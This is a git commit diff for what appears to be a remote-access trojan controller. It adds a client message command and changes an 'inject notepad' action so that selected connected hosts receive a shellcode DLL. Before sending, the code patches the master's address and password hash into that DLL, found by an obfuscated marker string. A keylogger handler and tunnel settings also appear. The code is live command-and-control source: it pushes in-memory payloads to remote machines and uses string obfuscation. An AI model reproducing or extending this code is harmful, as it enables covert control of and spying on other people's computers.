Feature: Add command for client sending msg to master

This commit is contained in:
shaun
2025-12-15 16:21:00 +01:00
parent 52239dbfba
commit 250ae09898
9 changed files with 77 additions and 16 deletions

Binary file not shown.

View File

@@ -293,6 +293,22 @@ DllInfo* ReadTinyRunDll(int pid)
std::string name = TINY_DLL_NAME;
DWORD fileSize = 0;
BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize);
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
int offset = MemoryFind((char*)dllData, s.c_str(), fileSize, s.length());
if (offset != -1) {
std::string ip = THIS_CFG.GetStr("settings", "master", "");
int nPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
std::string master = ip.empty() ? "" : ip + ":" + std::to_string(nPort);
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(dllData + offset);
if (!master.empty()) {
splitIpPort(master, ip, port);
server->SetServer(ip.c_str(), atoi(port.c_str()));
server->SetAdminId(GetMasterHash().c_str());
server->iType = CLIENT_TYPE_MEMDLL;
server->parentHwnd = g_2015RemoteDlg ? (uint64_t)g_2015RemoteDlg->GetSafeHwnd() : 0;
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
}
}
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
@@ -839,8 +855,8 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
m_CList_Message.InsertItem(0, title ? *title : "操作错误");
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, text ? *text : "内部错误");
delete title;
delete text;
if(title)delete title;
if(text)delete text;
return S_OK;
}
@@ -2226,6 +2242,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd) {
case TOKEN_CLIENT_MSG: {
ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0);
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(msg->text), (LPARAM)new CString(msg->title));
break;
}
case TOKEN_AUTH: {
BOOL valid = FALSE;
if (len > 20) {
@@ -4119,14 +4140,16 @@ void CMy2015RemoteDlg::OnParamKblogger()
void CMy2015RemoteDlg::OnOnlineInjNotepad()
{
auto tinyRun = ReadTinyRunDll(0);
EnterCriticalSection(&m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
context* ctx = *i;
if (!ctx->IsLogin())
continue;
Buffer* buf = tinyRun->Data;
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
}
LeaveCriticalSection(&m_cs);
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
if (!ctx->IsLogin())
continue;
Buffer* buf = tinyRun->Data;
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
}
LeaveCriticalSection(&m_cs);
SAFE_DELETE(tinyRun);
}

View File

@@ -21,7 +21,7 @@ public:
static DWORD WINAPI WorkThread(LPVOID lParam);
void CAudioDlg::OnReceiveComplete(void);
void OnReceiveComplete(void);
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_AUDIO };

View File

@@ -133,6 +133,16 @@ public:
virtual ~CDialogBase() {}
public:
virtual BOOL ReceiveCommonMsg() {
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_CLIENT_MSG: {
ClientMsg* msg = (ClientMsg*)m_ContextObject->InDeCompressedBuffer.GetBuffer(0);
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(msg->text), (LPARAM)new CString(msg->title));
return TRUE;
}
}
return FALSE;
}
virtual void OnReceiveComplete(void) = 0;
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void MarkReceiving(bool recv = true)

View File

@@ -139,6 +139,12 @@ BOOL CSettingDlg::OnInitDialog()
BOOL frp = THIS_CFG.GetInt("frp", "UseFrp");
((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!frp);
((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(frp);
#ifndef _WIN64
GetDlgItem(IDC_RADIO_FRP_OFF)->EnableWindow(FALSE);
GetDlgItem(IDC_RADIO_FRP_ON)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_FRP_PORT)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_FRP_TOKEN)->EnableWindow(FALSE);
#endif
m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();